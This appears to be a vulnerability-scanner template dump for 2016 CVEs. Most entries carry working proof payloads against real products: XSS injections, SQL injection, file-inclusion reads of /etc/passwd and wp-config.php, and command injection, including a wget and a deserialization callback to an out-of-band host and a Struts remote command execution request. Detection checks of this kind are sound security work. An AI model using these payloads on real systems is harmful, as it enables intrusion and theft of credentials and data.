Smart Wizard Result

[["CVE-2016-1000148", "S3 Video Plugin <= 0.983 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 543, [], 6.1, " cpe:2.3:a:s3-video project:s3-video", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': ['<\"'], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-8527", "Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to a reflected cross-site scripting (XSS).", 706, [], 6.1, " cpe:2.3:a:hp:airwave", "[{'path': ['{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&end=500&match'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'part': 'body', 'words': [''], 'type': 'word'}, {'status': [200], 'type': 'status'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2016-10993", "ScoreMe Theme - Unauthenticated Reflected Cross-Site Scripting (XSS)", 544, [], 5.4, " cpe:2.3:a:scoreme project:scoreme", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-6195", "vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.\n", 1570, [], 9.8, " cpe:2.3:a:vbulletin:vbulletin", "[{'path': ['{{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['type=dberror']}, {'type': 'status', 'status': [200, 503], 'condition': 'or'}], 'stop-at-first-match': True, 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2016-8735", "Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.\n", 2817, [], 9.8, " cpe:2.3:a:apache:tomcat:6.0.0", " "], ["CVE-2016-1000136", "Reflected XSS in wordpress plugin heat-trackr v1.0", 849, [], 6.1, " cpe:2.3:a:heat-trakr project:heat-trackr:1.0", "[{'matchers-condition': 'and', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-10973", "The Brafton plugin before 3.4.8 for WordPress has XSS via the wp-admin/admin.php?page=BraftonArticleLoader tab parameter to BraftonAdminPage.php.\n", 1944, [], 6.1, " cpe:2.3:a:brafton:brafton", "[{'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=%28document.domain%29 HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(content_type_2, \"text/html\")', 'contains(body_2, \"tab = (document.domain);\")', 'contains(body_2, \"Brafton Article Loader\")'], 'condition': 'and'}], 'cookie-reuse': True}]"], ["CVE-2016-1000133", "Reflected XSS in wordpress plugin forget-about-shortcode-buttons v1.1.1", 456, [], 6.1, " cpe:2.3:a:designsandcode:forget-about-shorcode-buttons", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%22%20%3C%2Fscript%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C']}]"], ["CVE-2016-7981", "Cross-site scripting (XSS) vulnerability in valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.\n", 523, [], 6.1, " cpe:2.3:a:spip:spip", "[{'path': ['{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'words': ['\">'], 'part': 'body', 'type': 'word'}, {'type': 'status', 'status': [200]}, {'words': ['text/html'], 'part': 'header', 'type': 'word'}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2016-1000128", "anti-plagiarism <= 3.60 - Reflected Cross-Site Scripting (XSS)", 458, [], 6.1, " cpe:2.3:a:anti-plagiarism project:anti-plagiarism", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000138", "Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS)", 503, [], 6.1, " cpe:2.3:a:indexisto project:indexisto", "[{'method': 'GET', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-1000140", "New Year Firework <= 1.1.9 - Reflected Cross-Site Scripting (XSS)", 504, [], 6.1, " cpe:2.3:a:new-year-firework project:new-year-firework", "[{'method': 'GET', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-5674", "__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.\n", 2357, [], 9.8, " cpe:2.3:a:netgear:readynas surveillance:1.1.1", "[{'matchers': [{'condition': 'and', 'type': 'dsl', 'dsl': ['status_code_1 == 200', \"contains(body_1, 'Debugging Center')\", \"regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)\"]}, {'condition': 'and', 'type': 'dsl', 'dsl': ['status_code_2 == 200', \"contains(body_2, 'Debugging Center')\", \"contains(body_2, 'Windows IP')\"]}], 'path': ['{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id', '{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig'], 'matchers-condition': 'or', 'method': 'GET', 'stop-at-first-match': True}]"], ["CVE-2016-1000139", "Infusionsoft Gravity Forms Add-on <= 1.5.11 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 590, [], 6.1, " cpe:2.3:a:infusionsoft project:infusionsoft", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3E%28document.domain%29%3B%3C%2Fscript%3E%3C%22'], 'matchers': [{'type': 'word', 'words': ['\"><\"', 'input type=\"text\" name=\"ContactId\"'], 'part': 'body', 'condition': 'and'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2016-1000131", "e-search <= 1.0 - Reflected Cross-Site Scripting (XSS) via title_az.php", 453, [], 6.1, " cpe:2.3:a:e-search project:esearch:1.0", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-10108", "Unauthenticated Remote Command injection as root occurs in the Western Digital MyCloud NAS 2.11.142 /web/google_analytics.php URL via a modified arg parameter in the POST data.\n", 2033, [], 9.8, " cpe:2.3:a:western digital:mycloud nas:2.11.142", "[{'matchers': [{'dsl': ['contains(body, \"WDMyCloud\")', 'contains(interactsh_protocol, \"dns\")', 'status_code == 200'], 'type': 'dsl', 'condition': 'and'}], 'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\nCookie: isAdmin=1; username=admin|echo%20`ping -c 3 {{interactsh-url}}`; local_login=1\\n']}]"], ["CVE-2016-4437", "Apache Shiro before 1.2.5, when a cipher key has not been configured for the \"remember me\" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.\n", 1569, [], 9.8, " cpe:2.3:a:apache:aurora", "[{'matchers': [{'part': 'interactsh_protocol', 'type': 'word', 'words': ['dns']}], 'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\nCookie: rememberMe={{base64(concat(base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"),aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"kPH+bIxk5D2deZiIxcaaaA==\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"))))}}\\n']}]"], ["CVE-2016-4977", "When processing authorization requests using the whitelabel views in Spring Security OAuth 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote code execution via the crafting of the value for response_type.", 957, [], 8.8, " cpe:2.3:a:pivotal:spring security oauth:1.0.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': ['Unsupported response types: [978015547]'], 'part': 'body'}, {'status': [400], 'type': 'status'}]}]"], ["CVE-2016-7834", "Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.\n", 1438, [], 8.8, " cpe:2.3:o:sony:snc series firmware", "[{'method': 'GET', 'path': ['{{BaseURL}}/command/prima-factory.cgi'], 'matchers': [{'type': 'word', 'part': 'header', 'condition': 'or', 'words': ['gen5th', 'gen6th']}, {'type': 'status', 'status': [204]}], 'headers': {'Authorization': 'Bearer cHJpbWFuYTpwcmltYW5h'}, 'matchers-condition': 'and'}]"], ["CVE-2016-3978", "The Web User Interface (WebUI) in FortiOS 5.0.x before 5.0.13, 5.2.x before 5.2.3, and 5.4.x before 5.4.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks or cross-site scripting (XSS) attacks via the \"redirect\" parameter to \"login.\"", 990, [], 6.1, " cpe:2.3:o:fortinet:fortios:5.0.0", "[{'path': ['{{BaseURL}}/login?redir=http://www.example.com'], 'method': 'GET', 'matchers': [{'type': 'regex', 'part': 'header', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)example\\\\.com\\\\/?(\\\\/|[^.].*)?$']}]}]"], ["CVE-2016-1000143", "Reflected XSS in wordpress plugin photoxhibit v2.1.8", 844, [], 6.1, " cpe:2.3:a:photoxhibit project:photoxhibit", "[{'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}, {'status': [200], 'type': 'status'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET'}]"], ["CVE-2016-9299", "The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.\n", 2766, [], 9.8, " cpe:2.3:a:jenkins:jenkins", " "], ["CVE-2016-10960", "The wsecure plugin before 2.4 for WordPress has remote code execution via shell metacharacters in the wsecure-config.php publish parameter.", 443, [], 8.8, " cpe:2.3:a:joomlaserviceprovider:wsecure", "[{'method': 'POST', 'path': ['{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php'], 'matchers': [{'part': 'header', 'type': 'word', 'words': ['Nuclei: CVE-2016-10960'], 'condition': 'and'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'body': 'wsecure_action=update&publish=\";} header(\"Nuclei: CVE-2016-10960\"); class WSecureConfig2 {var $test=\"'}]"], ["CVE-2016-1000154", "Reflected XSS in wordpress plugin whizz v1.0.", 484, [], 6.1, " cpe:2.3:a:browserweb:whizz", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers-condition': 'and'}]"], ["CVE-2016-1000130", "Reflected XSS in wordpress plugin e-search v1.0", 457, [], 6.1, " cpe:2.3:a:e-search project:e-search:1.0", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000126", "Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS)", 498, [], 6.1, " cpe:2.3:a:admin-font-editor project:admin-font-editor", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET', 'matchers': [{'part': 'body', 'type': 'word', 'words': ['']}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2016-10940", "The zm-gallery plugin 1.0 for WordPress has SQL injection via the order parameter.", 1001, [], 7.2, " cpe:2.3:a:zm-gallery project:zm-gallery:1.0", "[{'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nOrigin: {{RootURL}}\\nContent-Type: application/x-www-form-urlencoded\\nCookie: wordpress_test_cookie=WP%20Cookie%20check\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\\n', 'GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\\nHost: {{Hostname}}\\n'], 'req-condition': True, 'matchers': [{'dsl': ['contains(body_2, \"\")', '!contains(body_3, \"\")'], 'type': 'dsl', 'condition': 'and'}], 'cookie-reuse': True}]"], ["CVE-2016-1555", "NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.", 1099, [], 9.8, " cpe:2.3:o:netgear:wnap320 firmware", "[{'raw': ['POST /boardDataWW.php HTTP/1.1\\nHost: {{Hostname}}\\nAccept: */*\\nContent-Type: application/x-www-form-urlencoded\\n\\nmacAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23®info=0&writeData=Submit\\n'], 'matchers': [{'words': ['http'], 'type': 'word', 'part': 'interactsh_protocol'}]}]"], ["CVE-2016-0957", "Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors.", 508, [], 7.5, " cpe:2.3:a:adobe:dispatcher", "[{'method': 'GET', 'path': ['{{BaseURL}}/system/console?.css'], 'matchers-condition': 'and', 'header': [{'Authorization': 'Basic YWRtaW46YWRtaW4K'}], 'matchers': [{'type': 'status', 'status': [200]}, {'condition': 'and', 'type': 'word', 'words': ['Adobe', 'java.lang', '(Runtime)']}]}]"], ["CVE-2016-10924", "The Wordpress eBook Download plugin was affected by a filedownload.php Local File Inclusion security vulnerability.", 896, [], 7.5, " cpe:2.3:a:zedna ebook download project:zedna ebook download", "[{'matchers-condition': 'and', 'matchers': [{'words': ['DB_NAME', 'DB_PASSWORD'], 'part': 'body', 'type': 'word', 'condition': 'and'}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php']}]"], ["CVE-2016-10956", "The mail-masta plugin 1.0 for WordPress has local file inclusion in count_of_send.php and csvexport.php.", 416, [], 7.5, " cpe:2.3:a:mail-masta project:mail-masta:1.0", "[{'matchers-condition': 'and', 'method': 'GET', 'matchers': [{'type': 'regex', 'regex': ['root:[0*]:0:0'], 'part': 'body'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd', '{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd']}]"], ["CVE-2016-3081", "Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.\n", 24, [], 8.1, " cpe:2.3:a:apache:struts:2.0.0", "[{'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:']}], 'raw': ['GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1\\nHost: {{Hostname}}\\nContent-Length: 4\\n'], 'matchers-condition': 'and'}]"], ["CVE-2016-10134", "SQL injection vulnerability in Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php.", 954, [], 9.8, " cpe:2.3:a:zabbix:zabbix", "[{'path': ['{{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': ['Error in query [INSERT INTO profiles (profileid, userid', 'You have an error in your SQL syntax'], 'condition': 'and', 'part': 'body'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2016-1000142", "The MW Font Changer WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability.", 716, [], 6.1, " cpe:2.3:a:parsi-font project:parsi-font:4.2.5", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-1000155", "WPSOLR <= 8.6 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 561, [], 6.1, " cpe:2.3:a:wpsolr:wpsolr-search-engine:7.6", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'words': ['text/html'], 'part': 'header', 'type': 'word'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-1000134", "Reflected XSS in wordpress plugin hdw-tube v1.2", 459, [], 6.1, " cpe:2.3:a:hdw-tube project:hdw-tube", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/hdw-tube/playlist.php?playlist=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000153", "Tidio Gallery <= 1.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 562, [], 6.1, " cpe:2.3:a:tidio-gallery project:tidio-gallery", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'words': ['text/html'], 'part': 'header', 'type': 'word'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/wp-content/plugins/tidio-gallery/popup-insert-help.php?galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-10976", "The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS.\n", 2792, [], 6.1, " cpe:2.3:a:kodebyraaet:safe editor", "[{'matchers': [{'condition': 'and', 'type': 'dsl', 'internal': True, 'dsl': ['len(body) == 0', 'status_code == 200', 'contains(content_type, \"text/html\")']}], 'raw': ['POST /wp-admin/admin-ajax.php HTTP/1.1 HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\\n\\naction=se_save&type=js&data=(document.domain)\\n']}, {'method': 'GET', 'path': ['{{BaseURL}}'], 'matchers': [{'condition': 'and', 'type': 'dsl', 'dsl': ['status_code == 200', 'contains(content_type, \"text/html\")', 'contains_all(body, \"(document.domain)\", \"save_edit_js\")']}]}]"], ["CVE-2016-6277", "NETGEAR R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly other routers allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.", 675, [], 8.8, " cpe:2.3:o:netgear:d6220 firmware", "[{'matchers': [{'type': 'regex', 'regex': ['root:.*:0:0']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd']}]"], ["CVE-2016-1000152", "Reflected XSS in wordpress plugin tidio-form v1.0", 485, [], 6.1, " cpe:2.3:a:tidio-form project:tidio-form:1.0", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers-condition': 'and'}]"], ["CVE-2016-1000146", "Pondol Form to Mail <= 1.1 - Reflected Cross-Site Scripting (XSS)", 584, [], 6.1, " cpe:2.3:a:pondol-formmail project:pondol-formmail", "[{'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and'}]"], ["CVE-2016-1000132", "Reflected XSS in wordpress plugin enhanced-tooltipglossary v3.2.8", 454, [], 6.1, " cpe:2.3:a:cminds:enhanced-tooltipglossary", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3Cscript%3E%28123%29%3C%2Fscript%3E&msg=imported']}]"], ["CVE-2016-1000149", "Simpel Reserveren 3 <= 3.5.2 - Reflected Cross-Site Scripting (XSS)", 541, [], 6.1, " cpe:2.3:a:simpel-reserveren project:simpel-reserveren", "[{'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-4975", "Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.", 811, [], 6.1, " cpe:2.3:a:apache:http server:2.2.0", "[{'path': ['{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection'], 'method': 'GET', 'matchers': [{'part': 'header', 'type': 'regex', 'regex': ['(?m)^(?:Set-Cookie\\\\s*?:(?:\\\\s*?|.*?;\\\\s*?))(crlfinjection=crlfinjection)(?:\\\\s*?)(?:$|;)']}]}]"], ["CVE-2016-3088", "The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.", 871, [], 9.8, " cpe:2.3:a:apache:activemq", "[{'raw': ['PUT /fileserver/test.txt HTTP/1.1\\nHost: {{Hostname}}\\n\\n{{randstr}}\\n']}, {'req-condition': True, 'matchers': [{'type': 'dsl', 'condition': 'and', 'dsl': ['status_code_1==204', 'status_code_2==200', \"contains((body_2), '{{randstr}}')\"]}], 'raw': ['GET /fileserver/test.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2016-10033", "The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \\\" (backslash double quote) in a crafted Sender property.", 25, [], 9.8, " cpe:2.3:a:phpmailer project:phpmailer", "[{'extractors': [{'internal': True, 'name': 'username', 'group': 1, 'part': 'body', 'type': 'regex', 'regex': ['Author:(?:[A-Za-z0-9 -\\\\_=\"]+)?([A-Za-z0-9]+)<\\\\/span>', 'ocation: https:\\\\/\\\\/[a-z0-9.]+\\\\/author\\\\/([a-z]+)\\\\/']}], 'matchers': [{'words': ['wp-login.php?checkemail=confirm'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [302]}], 'unsafe': True, 'matchers-condition': 'and', 'raw': ['GET /?author=1 HTTP/1.1\\nHost: {{Hostname}}\\nCache-Control: max-age=0\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\\nAccept-Language: en-US,en;q=0.9\\nConnection: close\\n\\n', 'POST /wp-login.php?action=lostpassword HTTP/1.1\\nHost: target(any -froot@localhost -be 